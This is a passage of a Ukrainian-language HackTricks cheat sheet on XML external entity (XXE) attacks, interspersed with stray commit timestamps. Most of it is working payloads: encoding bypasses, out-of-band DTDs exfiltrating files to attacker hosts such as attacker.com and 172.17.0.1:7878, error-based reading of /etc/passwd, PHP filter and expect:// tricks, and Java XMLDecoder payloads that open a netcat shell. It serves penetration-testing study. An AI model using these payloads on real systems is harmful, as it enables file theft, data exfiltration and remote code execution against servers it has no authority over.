Ви можете скористатися \[**"Encode Recipe**" of cyberchef here ]\(\[[https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to]\([https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to](https://gchq.github.io/CyberChef/#recipe=Encode\_text%28%27UTF-7%20%2865000%29%27%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to)) перетворити на UTF-7.
2024-02-06 03:10:38 +00:00
```xml
<!xml version="1.0" encoding="UTF-7"?-->
+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
```
2024-02-06 03:10:38 +00:00
```xml
<?xml version="1.0" encoding="UTF-7"?>
+ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ELEMENT foo ANY +AD4
+ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+
+ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4
```
2024-03-29 18:49:46 +00:00
### Файл:/ Протокол Bypass
2024-03-29 18:49:46 +00:00
Якщо веб-сайт використовує PHP, замість використання `file:/`, ви можете використовувати **php wrappers** `php://filter/convert.base64-encode/resource=` для **доступу до внутрішніх файлів**.
2021-08-23 12:33:52 +00:00
2024-03-29 18:49:46 +00:00
Якщо веб-сайт використовує Java, ви можете перевірити [**jar: протокол**](xxe-xee-xml-external-entity.md#jar-protocol).
2021-08-23 12:33:52 +00:00
2022-09-30 10:43:59 +00:00
### HTML Entities
2021-08-23 12:33:52 +00:00
2024-03-29 18:49:46 +00:00
Хит від [**https://github.com/Ambrotd/XXE-Notes**](https://github.com/Ambrotd/XXE-Notes)\
Ви можете створити **сутність всередині сутності**, кодуючи її за допомогою **html entities**, а потім викликати її для **завантаження dtd**.\
Зверніть увагу, що використані **HTML Entities** повинні бути **числовими** (як у цьому прикладі [тут](https://gchq.github.io/CyberChef/#recipe=To\_HTML\_Entity%28true,%27Numeric%20entities%27%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)).
2024-02-06 03:10:38 +00:00
```xml
2022-04-05 22:24:52 +00:00
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % a "&#x3C;&#x21;&#x45;&#x4E;&#x54;&#x49;&#x54;&#x59;&#x25;&#x64;&#x74;&#x64;&#x53;&#x59;&#x53;&#x54;&#x45;&#x4D;&#x22;&#x68;&#x74;&#x74;&#x70;&#x3A;&#x2F;&#x2F;&#x6F;&#x75;&#x72;&#x73;&#x65;&#x72;&#x76;&#x65;&#x72;&#x2E;&#x63;&#x6F;&#x6D;&#x2F;&#x62;&#x79;&#x70;&#x61;&#x73;&#x73;&#x2E;&#x64;&#x74;&#x64;&#x22;&#x3E;" >%a;%dtd;]>
2021-08-23 12:33:52 +00:00
<data>
2024-03-29 18:49:46 +00:00
<env>&exfil;</env>
2021-08-23 12:33:52 +00:00
</data>
```
2024-03-29 18:49:46 +00:00
Приклад DTD:
2024-02-06 03:10:38 +00:00
```xml
2021-08-23 12:33:52 +00:00
<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/flag">
<!ENTITY % abt "<!ENTITY exfil SYSTEM 'http://172.17.0.1:7878/bypass.xml?%data;'>">
%abt;
%exfil;
```
2024-03-29 18:49:46 +00:00
## Обгортки PHP
2022-09-30 10:43:59 +00:00
### Base64
2024-03-29 18:49:46 +00:00
**Видобути** _**index.php**_
2024-02-06 03:10:38 +00:00
```xml
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
```
2024-03-29 18:49:46 +00:00
#### **Видобуток зовнішнього ресурсу**
2024-02-06 03:10:38 +00:00
```xml
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=http://10.0.0.3"> ]>
```
2024-03-29 18:49:46 +00:00
### Віддалене виконання коду
2024-03-29 18:49:46 +00:00
**Якщо модуль PHP "expect" завантажений**
2024-02-06 03:10:38 +00:00
```xml
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<creds>
2024-03-29 18:49:46 +00:00
<user>&xxe;</user>
<pass>mypass</pass>
</creds>
```
2022-09-30 10:43:59 +00:00
## **SOAP - XEE**
2024-02-06 03:10:38 +00:00
```xml
<soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]></foo></soap:Body>
```
2022-09-30 10:43:59 +00:00
## XLIFF - XXE
2021-07-20 10:48:25 +00:00
2024-03-29 18:49:46 +00:00
Цей приклад інспірований [https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe)
2021-07-20 10:48:25 +00:00
2024-03-29 18:49:46 +00:00
XLIFF (XML Localization Interchange File Format) використовується для стандартизації обміну даними в процесах локалізації. Це формат на основі XML, який використовується переважно для передачі локалізованих даних між інструментами під час локалізації та як загальний формат обміну для інструментів CAT (Computer-Aided Translation).
2021-07-20 10:48:25 +00:00
2024-03-29 18:49:46 +00:00
### Аналіз сліпого запиту
2021-07-20 10:48:25 +00:00
2024-03-29 18:49:46 +00:00
Запит надсилається на сервер із наступним вмістом:
2024-02-06 03:10:38 +00:00
```xml
2021-07-20 10:48:25 +00:00
------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
Content-Type: application/x-xliff+xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
<!ENTITY % remote SYSTEM "http://redacted.burpcollaborator.net/?xxe_test"> %remote; ]>
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
```
2024-03-29 18:49:46 +00:00
Проте цей запит спричинює внутрішню помилку сервера, зокрема зазначаючи проблему з оголошенням розмітки:
2024-02-05 02:29:11 +00:00
```json
2021-07-20 10:48:25 +00:00
{"status":500,"error":"Internal Server Error","message":"Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."}
```
2024-03-29 18:49:46 +00:00
Незважаючи на помилку, на Burp Collaborator зафіксовано попадання, що свідчить про певний рівень взаємодії з зовнішньою сутністю.
2021-07-20 10:48:25 +00:00
2024-03-29 18:49:46 +00:00
Витік даних поза межами каналу Для витікання даних відправляється змінений запит:
2024-02-05 02:29:11 +00:00
```
2021-07-20 10:48:25 +00:00
------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
Content-Type: application/x-xliff+xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
<!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd"> %remote; ]>
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
```
2024-03-29 18:49:46 +00:00
Цей підхід показує, що User Agent вказує на використання Java 1.8. Відомим обмеженням цієї версії Java є неможливість отримання файлів, що містять символ нового рядка, таких як /etc/passwd, за допомогою техніки Out of Band.
2021-07-20 10:48:25 +00:00
2024-03-29 18:49:46 +00:00
Екстракція даних на основі помилок Для подолання цього обмеження використовується підхід на основі помилок. Файл DTD має таку структуру, щоб викликати помилку, яка включає дані з цільового файлу:
2024-02-05 02:29:11 +00:00
```xml
2021-07-20 10:48:25 +00:00
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/'>">
%foo;
%xxe;
```
2024-03-29 18:49:46 +00:00
Сервер відповідає помилкою, важливо відображаючи неіснуючий файл, що вказує на те, що сервер намагається отримати доступ до вказаного файлу:
2021-07-20 10:48:25 +00:00
```javascript
{"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"}
```
2024-03-29 18:49:46 +00:00
Щоб включити вміст файлу у повідомлення про помилку, файл DTD налаштовується:
2024-02-05 02:29:11 +00:00
```xml
2021-07-20 10:48:25 +00:00
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/%data;'>">
%foo;
%xxe;
```
2024-03-29 18:49:46 +00:00
Ця модифікація призводить до успішного витікання вмісту файлу, оскільки він відображається в вихідних даних про помилку, відправлених через HTTP. Це свідчить про успішну атаку XXE (зовнішні сутності XML), використовуючи як техніки Out of Band, так і на основі помилок, для вилучення чутливої інформації.
2024-02-05 02:29:11 +00:00
2022-09-30 10:43:59 +00:00
## RSS - XEE
2024-03-29 18:49:46 +00:00
Дійсний XML у форматі RSS для використання уразливості XXE.
2022-09-30 10:43:59 +00:00
### Ping back
2024-03-29 18:49:46 +00:00
Простий HTTP-запит на сервер зловмисника
2024-02-06 03:10:38 +00:00
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "http://<AttackIP>/rssXXE" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>XXE Test Blog</title>
<link>http://example.com/</link>
<description>XXE Test Blog</description>
<lastBuildDate>Mon, 02 Feb 2015 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>Test Post</description>
<author>author@example.com</author>
<pubDate>Mon, 02 Feb 2015 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>
```
2024-03-29 18:49:46 +00:00
### Прочитати файл
2024-03-29 18:49:46 +00:00
```xml
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<stockCheck><productId>&xxe;</productId></stockCheck>
```
2024-02-06 03:10:38 +00:00
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>The Blog</title>
<link>http://example.com/</link>
<description>A blog about things</description>
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>a post</description>
<author>author@example.com</author>
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>
```
2024-03-29 18:49:46 +00:00
### Читання вихідного коду
2024-03-29 18:49:46 +00:00
Використання фільтра PHP base64
2024-02-06 03:10:38 +00:00
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=file:///challenge/web-serveur/ch29/index.php" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>The Blog</title>
<link>http://example.com/</link>
<description>A blog about things</description>
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>a post</description>
<author>author@example.com</author>
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>
```
2024-03-29 18:49:46 +00:00
## Java XMLDecoder XEE до RCE
2024-03-29 18:49:46 +00:00
XMLDecoder - це клас Java, який створює об'єкти на основі XML-повідомлення. Якщо зловмисний користувач може змусити додаток використовувати довільні дані при виклику методу **readObject**, він миттєво отримає виконання коду на сервері.
2024-03-29 18:49:46 +00:00
### Використання Runtime().exec()
2024-02-06 03:10:38 +00:00
```xml
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
2024-03-29 18:49:46 +00:00
<object class="java.lang.Runtime" method="getRuntime">
<void method="exec">
<array class="java.lang.String" length="6">
<void index="0">
<string>/usr/bin/nc</string>
</void>
<void index="1">
<string>-l</string>
</void>
<void index="2">
<string>-p</string>
</void>
<void index="3">
<string>9999</string>
</void>
<void index="4">
<string>-e</string>
</void>
<void index="5">
<string>/bin/sh</string>
</void>
</array>
</void>
</object>
</java>
```
2022-09-30 10:43:59 +00:00
### ProcessBuilder
2024-03-29 18:49:46 +00:00
### ProcessBuilder
2024-02-06 03:10:38 +00:00
```xml
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
2024-03-29 18:49:46 +00:00
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="6">
<void index="0">
<string>/usr/bin/nc</string>
</void>
<void index="1">
<string>-l</string>
</void>
<void index="2">
<string>-p</string>
</void>
<void index="3">
<string>9999</string>
</void>
<void index="4">
<string>-e</string>
</void>
<void index="5">
<string>/bin/sh</string>
</void>
</array>
<void method="start" id="process">
</void>
</void>
</java>
```
2024-03-29 18:49:46 +00:00
## Інструменти
{% embed url="https://github.com/luisfontes19/xxexploiter" %}
2024-03-29 18:49:46 +00:00
## Посилання
* [https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf](https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf)\\
* [https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html](https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html)\\
2024-03-29 18:49:46 +00:00
* Вилучення інформації через HTTP за допомогою власного зовнішнього DTD: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/)\\
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection)\\
* [https://gist.github.com/staaldraad/01415b990939494879b4](https://gist.github.com/staaldraad/01415b990939494879b4)\\
* [https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9](https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9)\\
* [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)\\
2024-02-06 03:10:38 +00:00
* [https://gosecure.github.io/xxe-workshop/#7](https://gosecure.github.io/xxe-workshop/#7)
2022-04-28 16:01:33 +00:00
<details>
2024-03-29 18:49:46 +00:00
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-03-29 18:49:46 +00:00
Інші способи підтримки HackTricks:
2024-02-03 14:45:32 +00:00
2024-03-29 18:49:46 +00:00
* Якщо ви хочете побачити вашу **компанію рекламовану в HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github репозиторіїв.
2022-04-28 16:01:33 +00:00
</details>